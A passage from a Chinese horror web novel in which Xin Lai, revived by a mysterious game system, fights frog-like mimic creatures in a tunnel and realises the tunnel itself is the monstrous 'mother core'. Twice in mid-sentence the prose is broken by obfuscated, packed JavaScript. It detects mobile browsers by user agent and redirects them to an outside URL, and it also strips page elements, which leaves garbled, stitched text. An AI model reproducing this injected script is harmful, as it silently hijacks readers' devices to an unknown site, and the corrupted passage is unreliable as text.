“逃吧...逃吧......水里游,岸上跳,逃到岸上——不见了。” 每说一个字,黏液就会从它的胸腔中涌出,顺着裂开的身体滴落在地上,发出“滴答、滴答”的声音。 辛来看了一眼,又刺了一刀。 蝌蚪人彻底不动了。 可预想的任务完成提示音并没有在脑中响起,那股子一直不消停的危险警示也仍在隐隐作响。 辛来呆愣了会儿,缓缓站直了身体。 所以刚才是什么情况? 她真的死了?然后触发了不知道哪里来的存档点又复活了? 还是说其实是觉醒了什么超能力,预知了未来,改变了未来? 可如果没有死,她又是怎么记得眼前的景象的? 等在通道外面的蝌蚪人,摔开了胸甲三颗搭扣的曾云安,甚至连面罩人在那颗奇丑无比的头盔之下的面容都与记忆里的分毫无差。 蝌蚪人还穿着碎花裙,黑色的粘稠物从脚上的红高跟鞋里挤了出去。 脑子里的系统“叮——”了一声。 〖灵魂碎片已重新拼接〗 〖已消耗道具:未知的骸骨x1〗 〖获得附加技能:夺取〗 〖是否使用技能?〗 辛来:? 16. 蠕动隧道7 夺取? 夺取谁的?夺取什么? 武器?装备?还是说...... 像“夺取”之前那个“玩家”的身份一样,获得一些莫名其妙的、非物理层面存在的东西? 辛来觉得现在自己很离谱地已经可以开始接受这些莫名其妙的东西了。 NPC,游戏,玩家,任务,道具—— 她好像是真的死了一次。 死亡的感觉太过真实,疼痛,呆滞,麻木,迟缓,然后是空虚。 那种空虚感像是从灵魂深处蔓延开来,她的脑子里一片空白,所有的记忆、情感、甚至是疼痛,都在一瞬间被剥离。 她不知道发生了什么——或者准确的说,是分明知道发生了什么,却无论如何也反应不过来。 面对无法抗衡的力量时的脆弱,面对无法逆转的局面时的茫然,一切的一切都真实得可怕。 〖玩家无响应,系统已代理选择〗 〖已使用技能:夺取〗 辛来:WTF—— 〖已夺取〗 已夺取......? 夺取什么了就已夺取? 还没等她反应过来,指尖一股热流传来。 那不是正常的热,是一种说不上来的灼烧感,像是什么东西顺着她的神经往里钻。 电流?还是……其他东西? 防护服包得太严实,她根本看不到自己手上到底沾上了什么。灼烧感尚未消停,前面的面罩人忽然爆发出一阵惊呼,辛来条件反射地抽了刀直接反手往身后刺去。 “噗嗤——” 有黏腻的东西从后头喷溅出来,辛来转过了身。 那是一坨还未来得及张开口的人形东西,全身上下覆满了淤泥,根本看不清面容。 穹顶的灯闪了一闪,后面传来了阵阵嗡鸣。 昏暗的灯光下,隧道显得更加破败,墙壁上布满了锈迹和裂痕,地面上散落着废弃的机械零件和不知名的黏液。 有一辆非常眼熟的车停在前面。 辛来发出了一声绝望的嘟囔。 ……他们回到原点了。 这是他们刚来的隧道,前面的车子堵得严严实实,车门全都开着,一个接一个的伪态生物潜伏在那里,湿滑的身体在昏暗的灯光下泛着油画的光泽。 ——大爷的,丧尸围城啊这是。 辛来可不觉得自己还有比刚才更好的运气触发什么“存档点”。 况且她根本不知道自己死过一次又复活是因为所谓的“游戏存档”还是因为使用了那个不知道什么鬼的“道具”。 忽地,曾云安“嘶”了一声,捂住了自己的腰侧。 他的防护服裂开的地方,皮肤已经变成不正常的颜色,上面有黑色的脉络在扩散,像是有东西埋在皮下,缓缓往上爬。 面罩人脸色一变:“他感染了。” 辛来一愣,忽然想起在发电厂时杜琛肩头的红印。 李明蕊说过,被伪态生物攻击之后,会有污染物进入身体,侵蚀身体机能,影响神经强度。 辛来迅速给曾云安又注射了一次精神修复剂和愈合剂,但这种程度的感染需要即刻治疗,只能起到延缓作用,且药效会越来越小——这毕竟是特效剂,目的是在短时间内促生人体机能快速增长以起到治疗作用,用多了自然有弊端。 抗药性增强,身体疲劳度加快,细胞再生速度减缓。 换句话说,这东西是药也是毒,所以调查组并不予发放太多。 目前加上曾云安作战袋里的,针剂只剩下最后两组。 “你呢?你还好吗?”面罩人捡起裂开的头盔,重新扣在了头上,用撕下来的衣服布条裹了紧。 辛来沉默了两秒,迟疑地点了点头:“大概吧。” 刚才使用“夺取”技能之后产生的灼热感依旧在皮肤下隐隐作痛,但现在并不是停下来检测自己到底出没出问题的好时机。 通道里全是伪态生物,它们在没有目的地兜转,暂时没有攻击的意图,但一旦它们发起攻击,仅靠她和面罩人——还有随时可能歇菜的曾云安,绝对没有生还的可能。 他们必须马上找到母核。 面罩人从地上捡了根短铁棍,把玩了两下,满意地点了点头,别进了裤腰。 可是核在哪里? 会和那段频繁看到的记忆有关系吗? 隧道里的伪态生物一共有三种形态:青蛙,蝌蚪,淤泥。而这三种形态都出现在了那段破碎的记忆里。 记忆里她对着一口冒着热气的大锅,大锅里煮着沸腾的米浆,米浆中一浮一沉地涌上来了拳头大的金黄巨眼,眼珠转动着,瞳孔收缩成一条细线,直勾勾地盯着她。 拿着饭勺的手指上有灰绿的吸盘,吸盘上残留着红色的肉碎。 而那围着围裙的女人挺着大肚子,一勺一勺地把米浆给吃了进去。 她的嘴巴裂开到耳根,露出锋利的金属牙齿,嘴角还挂着一丝黏稠的唾液。 凸眼睛,大嘴巴,女人的身躯渐渐胀大,皮肤上布满了凹凸不平的疙瘩。 她的身体开始发出低沉的咕噜声,然后记忆视角的主人,逃了。 和她一起逃的还有两个人——辛来不确定她们还是不是人。 她们的五官还是人的模样,皮肤却被黑色的半透明膜覆盖了住。她们的手指间长出了凹蹼,一点点往下渗着淤泥。 她们挤上了一辆皮卡。 那老掉了牙的皮卡还得插钥匙旋转才能发动,生了吸盘的手滑腻又黏糊,方向盘都握不稳,随后就到了......对、对了,之后就到了这个隧道。 隧道深且长,地面上散落着废弃的机械零件和不知名的黏液,黏液开始沸腾,冒出一串串气泡,空气中弥漫着一股刺鼻的腐臭味。 忽地,有什么东西砸在了车顶,下一秒,一只金黄的巨眼怼在了车窗上。 那眼睛巨大而凸出,瞳孔收缩成一条横的细线,泛着不自然的红光。 “开门——开门!开门!带我一起!带我一起!!” “不开门……不开门,那我就自己进来——” “他跟上来了!他跟上来了!阿弟跟上来了!” 皮卡的车轮突然打滑,方向盘猝不及防地一转,车身失去了控制,撞在了隧道的墙壁上,翻了过来。 车内的三人被甩了出去,重重地摔在了地上。 好疼。 好疼、好痛苦,好疼...... 好害怕啊......好害怕。 妈妈会吃人,弟弟会吃人,想逃,想逃,可是他来了。他为什么来?他怎么跟来了? 好害怕......好害怕好害怕好害怕...... 【检测到辐射,已屏蔽辐射,作战服耐性,32%。】 【警告,辐射指数,77%;辐射等级,高等;请注意防护。】 “辛来!!” 一声叫喊炸响耳边,辛来陡然回过神来。 这刚一回神,只见眼前怼了个硕大的头盔,辛来吓了一跳,默默地往后移了半步:“我......没事。” 突然,曾云安闷哼了一声。 刚才还勉强控制住了的感染物再次顺着他的皮下往上蔓延,好不容易找回了一丝神智的曾云安眼看着又开始冒起冷汗。 “好害怕......好害怕好害怕......” 曾云安突然抬起头,眼神毫无焦距,嘴巴微微开合,喉咙里发出了一道模糊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943254|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,“好害怕...带我离开......带我离开......” 辛来的心瞬间提到了嗓子眼。 ——他......在重复青蛙人的话? 曾云安的呻.吟与青蛙人和刚才不断在脑子里闪现的记忆重合了起来,辛来几乎抑制不住心中不好的预感,拔开针管就给曾云安再次注射了第三支精神修复剂。 可那针剂刚打了一半进去,曾云安已经开始全身颤抖。 特效剂短时间内使用次数过多,曾云安的身体机能已经要承受不住这样超负荷的运作了。 “别管我了,你们先走!”曾云安从牙缝里憋出了这几个字,摁着辛来的手把精神修复剂给注射了进去。 他憋不住发出了声痛呼,拳头紧握。 面罩人“啧”了声,大步流星地冲了过来,直接把曾云安的手给拍了开,连带着一起把精神修复剂给丢了出去。 她二话没说,按住曾云安的肩膀,抽出了他的短棍,挥了下——刀刃没出。 她尴尬地又来了一次,刀刃仍然没听使唤。面罩人冲辛来抬了抬下巴:“怎么用?” “你用这个干什么?”辛来问。 “还能干什么?”面罩人语气急促,“救他啊!” 她的语气里没有丝毫犹豫,甚至比刚才更加镇定。 辛来盯了她两秒,咬牙从作战袋里抽出短刀,递了过去。 面罩人接过刀,手起刀落——直接划开了曾云安的衣服。 她的动作太快了,连辛来都没反应过来。 刀刃精准地在感染的边缘划开,一刀、两刀、三刀,每一刀都避开了重要血管和神经,割开的皮肤下,黑色的脓液像腐烂的油污一样涌出,落到地上后还在蠕动。 曾云安发出一声撕裂般的痛呼,整个人剧烈地颤抖了一下。 但接下来,他的呼吸竟然……变得平稳了一些。 这有效果? 辛来正想递上愈合剂,面罩人直接挡住了她的手。 辛来猛地抬头:“你怎么知道?” 面罩人没回答,而是抬头看了一眼头顶的隧道。 “……不过,这种方法撑不了多久,神经毒素会找到其他途径入侵。”她站起身,快速检查了一下周围的环境,“你们得快点找到‘母核’。” 【警告:检测到高强度辐射波动。】 【警告,辐射指数85%】 【警告,负相区即将崩塌】 轰—— 穹顶忽然震动了一下,大片碎石掉落,砸在地面上,激起黑色的淤泥。 所有伪态生物齐齐抬头,下一秒,尖啸声炸于隧道之中。 那不是普通的嘶吼,而是一种结构性的共鸣,声音尖锐而刺耳。 它们的身体开始剧烈扭曲,皮肤上不断鼓出疙瘩,凹凸不平的疙瘩中渗出黏稠的黑色液体。 “带我一起......带我一起......带我一起!带我一起!!” 一声压着一声,声音从小变大,再到疯狂,几十甚至几百个青蛙一样的人相继嘶叫,隧道再次发出破碎的轰鸣。 没时间了。 他们必须立刻行动。 辛来看向了面罩人:“你......” “粥粥。”面罩人把刀上的血污在地上蹭了蹭,“你叫我粥粥就好。” 辛来深吸了一口气,抬头看向隧道深处:“我们可能得找一辆翻了的车,黄色的,很旧......” “翻了的车?”粥粥看起来没听明白,“为什么找翻了的车?” 辛来非常实诚:“不知道,但那里可能......小心!” 危险警示忽地作响,辛来朝前扑去,扣着粥粥的头狠狠往地上一灌。 17. 蠕动隧道8 凛风擦着头顶旋了过去,粥粥的头盔“咯嘣”一声再一次摔了开。辛来没敢停,紧抓着她再次侧滚,蜷腿一脚狠狠踹在了曾云安后背上。 曾云安“嗷”一嗓子滚了好几米远,湿黏的液体劈头盖脸泼在了他刚刚趴着的地方,地面瞬间起泡,黑色的烟雾呲呲地往上冒,像被强酸腐蚀了一样。 ——刚才要是没滚开,骨头都得化掉。 一根流着黄色脓液的舌头缓缓地从斜侧方的头顶缩了回去。 顺着舌头的方向,一只青蛙脑袋的人直勾勾地盯着他们,金黄色的眼睛慢慢眨了一下,瞳孔竖直收缩。 辛来盯着那玩意,抓住粥粥:“你刚才是不是说你在这个隧道里呆了很久?” 粥粥:“放……” 辛来:“?” 粥粥:“你先放手……” 辛来低头一看,这才意识到自己掐着的不是衣领,而是她的脖子。 粥粥的脸色已经开始发紫,白眼都快翻上去了,像只被人拧了半天的鸡。 辛来赶紧松手,面罩人喘了口气,眼泪都差点被呛出来,指着她:“我看你才是Boss吧!手劲那么大!谋杀啊!!” 辛来没有时间解释。 腿上溅到了青蛙的黏液,作战服被溶解了一大块,钻心的疼痛顺着神经往骨头里钻。 辛来低头看去,皮肤上已经出现了一片密集的黑色斑点,很显然这不太妙,但现在没空管那么多了。 精神修复剂还剩一支,愈合剂还有两支——她不确定自己能撑多久,但至少目前意识还清醒,腿脚还能动,就说明还能打。 曾云安的情况比她更糟。 嗖—— 曾云安忽然抬手,一枚脉冲瓶擦着空气飞了出去,蓝光一闪,青蛙的长舌刹时失去活性,啪嗒一声垂落在地上,舌尖在地上抽搐了两下。 曾云安虚弱地笑了笑,抬起手比了个大拇指,拇指上还挂着拉环。 辛来:“……” 这家伙快不行了,居然还有心思装......x。 只可这还不够。 青蛙的数量越来越多,所有伪态生物的身体都在不断膨胀、发热、爆裂,腐烂的皮肤一层层剥落,化成无数黑色的细丝,缠绕在隧道的墙壁、地面,甚至蔓延进柏油路下面的土层。 它们开始吞噬一切。 车、人、尸首、甚至是地面。 曾云安握着刀的手都在抖,可还是咬牙拉开了一枚火药瓶的拉环,往前狠狠一丢。 ——爆炸声响起。 火星四溅,整个隧道被瞬间点燃,红光和黑烟滚滚上涌,浓烟中无数影子在蠕动、撕裂、哀嚎。 曾云安喘着气笑了一下:“火烤青蛙,真香。” 辛来:“……” 她挥刀又割断了一根袭来的舌头,目光飞快地扫向粥粥:“你刚才说你在这条隧道里呆过?” 粥粥:“呃?” 辛来咬牙:“你知道翻车的地方在哪吗?” 粥粥被火光照得整个人都有点懵,愣了几秒才回神:“……你问那个翻了的黄车?” 辛来一怔,心脏一紧:“你见过?” 粥粥点头,抹了把脸上的脏污:“不太确定,但是我之前到处走的时候,发现这个隧道之所以堵车,是因为前面第三条岔路口那边有一起车祸,我上次路过发现的——” 话音未落,头顶的金属穹顶凹陷。 “辛来!”曾云安一声暴喝。 危险直觉狂响,辛来侧翻躲开。下一秒,一根血肉交织的巨柱从天而降。 粥粥惊叫了一声:“什么鬼东西!?” 辛来仰头看去——那是一根......“手指”。 准确的说,不是手指,而是青蛙一般带着吸盘的趾。 厚重的脓液沿着皮肤褶皱往下淌,颜色呈现出一种死气沉沉的黄绿交杂,散发着隔着防护面罩都能闻到的腥臭味。 表面覆盖着大大小小的泡,像是一锅翻滚的腐烂粥,每个泡都鼓胀、膨胀、颤抖着,仿佛随时会炸开。下一秒—— “噗”。 泡破了。 血色的浆液从裂缝中喷涌出来,泡沫底下,是一张人脸。 “姐姐……带上我……” 【检测到辐射,已屏蔽辐射,作战服耐性,15%。】 紧接着,第二个、第三个、第四个泡相继炸裂,脸的数量越来越多,一个叠着一个,层层覆盖在这根扭曲的肢节上,像是皮肤底下埋藏着无数张拼贴而成的嘴巴。 它们在低低地呢喃、咀嚼着、蠕动着,声音像蚊子一样,带着一种潮湿、恶心、似哭似笑的阴冷。 “逃……逃不掉……” “嘿嘿……都是我的……” “姐姐……姐姐,带我走……” 【警告:检测到高强度辐射波动。】 那声音不断地回响、重叠、交织,似乎不仅仅是从这根肢节里发出的,而是从整个隧道的缝隙、空气、甚至他们的耳膜深处渗透出来的。 【警告:检测到高强度辐射波动。】 “上车!”曾云安高呼。 一辆满是油污的老旧汽车一个大摆尾,横着漂移过来,车门已经不知所踪,车厢里全是渗透进缝隙的黑色污泥。 粥粥吹了声口哨,跟着辛来跳上了车:“您还会开插钥匙的车呢?” 曾云安扬起了下巴,声音虽然虚弱但依然格外得意:“那是自然,老古董才是真理。” 粥粥眉毛一下子就皱了起来:“......这是我们那年代的最新款好吧!” 车子突然加速,粥粥措不及防地被甩到车门口,半个身子都要飞出去,“你踩油门能不能说一声!” 辛来紧紧抠着门把手,同情地看了眼半个身体都差点飞出去的粥粥。 隧道顶上的肉柱一个接一个地落下,每个肉柱都在不断地融合着地下的青蛙人,发出低沉的咕噜声。 车轮疾驰,泥浆飞溅。 “前边再往前的那个口出去!”粥粥紧抓着前车座椅说。 曾云安猛打方向盘,车身横甩着钻进两辆卡车之间,左侧车轮腾空而起,整辆车只用一侧车轮斜斜地挤了过去。 “砰——!” 一根肉柱重重地砸在了他们刚刚经过的位置,地面被砸出一个深坑,碎石和淤泥四处飞溅。 辛来反手把粥粥往前面一推,自己借力往后一仰,刚好躲开一根从顶上扫过的钢刺。 车顶被削飞了。 冷风瞬间灌了进来。 粥粥从后座飞去了前座,曾云安又猛一转弯,她整个人都翻了个面,直直看到了顶上的钢刺—— 那是从肉柱的人面口中刺出来的,卷起的尖头像是舌头,却比之前单个的伪态生物更加锋利。 闪着银光的刚刺上也有着大大小小的脓包,脓包瞬间全睁了开,数只大小不一的眼睛齐齐盯着她。 每只眼睛都金黄发黑,瞳孔呈横条状,横条里油条裂缝,那裂缝一张一合,正在呢喃着...... 粥粥脑子里“嗡”的一声,视线开始模糊,耳鸣轰然响起,一股异样的呢喃声直接戳进了她的神经,整个世界开始失真。 “姐姐……带上我……” “别丢下我……我们是一家人……” 就在这时,她突然觉得有个什么东西被拍在了嘴巴上。 金属的、冰凉的、坚硬的—— 随后那东西迅速扩散,像液态金属一样流动,包裹住了她的整个头部。 “咔嗒——” 金自动贴合的金属片形成了一个完整的防护面罩,粥粥眼前的画面瞬间清晰,耳鸣也随之消散大半。 她吸了口气,反应过来,立刻转头看向旁边。 ——辛来!? 辛来脸上没有了任何防护,一头半长不短的头发被风吹得稀里哗啦,脖颈暴露在空气里,皮肤上已经渗出了斑驳的黑色脉络。 粥粥一愣,恍神间,辛来一刀从她脸边擦了过去。 刀刃狠狠捅上了正后方的脓包,一声尖啸在耳边炸响。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943255|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辛来屏着呼吸又捅了一刀,刹时间尖啸连成一片。 隧道顶上再次落下肉柱,一根接着一根,速度越来越快,也愈发逼近。落下的肉柱疯狂收缩再胀大,车身再又一颠,整辆车被掀起飞上了半空,翻了过去。 所有人都被甩了出来,重重摔在地上。 辛来的脑子嗡地一声,耳边只剩下低沉的嗡鸣声。可就在这混乱的一瞬间,她的视线异常清晰。 或许是人在极度紧张的时候,感官会被无限放大,辛来不知道。 她只觉得自己眼中的每一个细节都变得格外鲜明,所有的事物都像是被摁下了慢动作。 她看到地上的碎石和淤泥,看到远处蠕动的肉柱,看到曾云安呆滞的眼神和粥粥慌乱的表情—— 还有前方不远处,那辆和记忆里几乎没有差别的黄色皮卡。 黄色的皮卡静悄悄地躺在那里,车身凹陷,扇形的凹痕像青蛙的脚蹼。 周围一片死寂,没有伪态生物,没有可疑的活动,除了地上一层厚厚的污泥,什么都没有。 不对……不对。 这不可能。 这辆车是记忆里出现过的,是姐妹三人偷走的车。 而隧道成为负相区的根源,难道不就是她们吗? 记忆的最后,是侧翻的卡车。然后呢? 还有什么?? 辛来盯着那辆皮卡,大脑在疯狂地回溯。 母亲喝了姐姐亲手炖的弟弟骨肉熬的米汤;姐妹三人驾车逃命,冲进了隧道;而后,隧道变异,充斥着无数的蝌蚪、青蛙、污泥。 一切都指向了那三姐妹。 但为什么…… 为什么皮卡是空的? ——不对,不对,不对。 好像有更可怕的东西正潜伏在记忆的深处,辛来心脏狂跳,她的指尖因为过度紧绷而微微发麻。 冷静……冷静……辛来,冷静下来。 “轰——!” 肉柱砸下,直接把皮卡碾进了地里。 曾云安的身子一颤,倒在地上,一动不动,腰间的伤口再度蔓延出黑色的斑纹。 那些斑纹之下,鼓起了一块又一块的脓包。 “咕叽。” 脓包裂开,一滴滴黑色的泥点滚落地面,然后缓缓蠕动,像是初生的青蛙卵,像是刚从孵化池里爬出来的幼崽。 辛来呼吸一滞。 眼前的景象,和那段不断闪回的记忆里的……一模一样。 辛来看见那围着围裙的女人,站在炉灶前,搅拌着滚烫的米汤。 她的腹部已经膨胀得不成样子,就像是一只快要孵化的青蛙。 围裙已经被撑得炸开了线,衣服撕裂,皮肤上的疙瘩一个接一个地蠕动、破裂,渗出浓稠的液体,裸露出底下滑腻的半透明囊膜。 是卵。 她在不停地产卵、产卵、产卵。 卵孵化成胚胎,胚胎在短短几秒内蜕变成蝌蚪,蝌蚪挣扎着扭动,四肢渐渐成形,而没有长出生.殖腺突起的,则会被当做养料,喂给她们的弟弟,喂给她们下面所有的雄蛙——等一下。 有一个猜测炸开在脑中,辛来的呼吸滞住了。 这片负相区的核心,不是逃亡的姐妹,不是追赶的弟弟…… 而是...... 是他们的母亲? 她才是这片负相区的真正核心? 那她在哪? 辛来恍然抬起头,视线扫过四周。 落下的肉柱一根接一根,像是触手,又像是伸展的四肢。无穷无尽的青蛙人争相蠕动,撕咬着、吞噬着、增殖着。 密密麻麻的卵像潮水般填满整个空间。 污泥四处都是,墙壁不停震颤,穹顶收缩…… ——不,不对。 辛来的心跳开始加速。 她的目光缓缓下移,落在脚下。 这整个隧道…… 整个隧道,都是母核? 〖叮——〗 〖是否使用道具?〗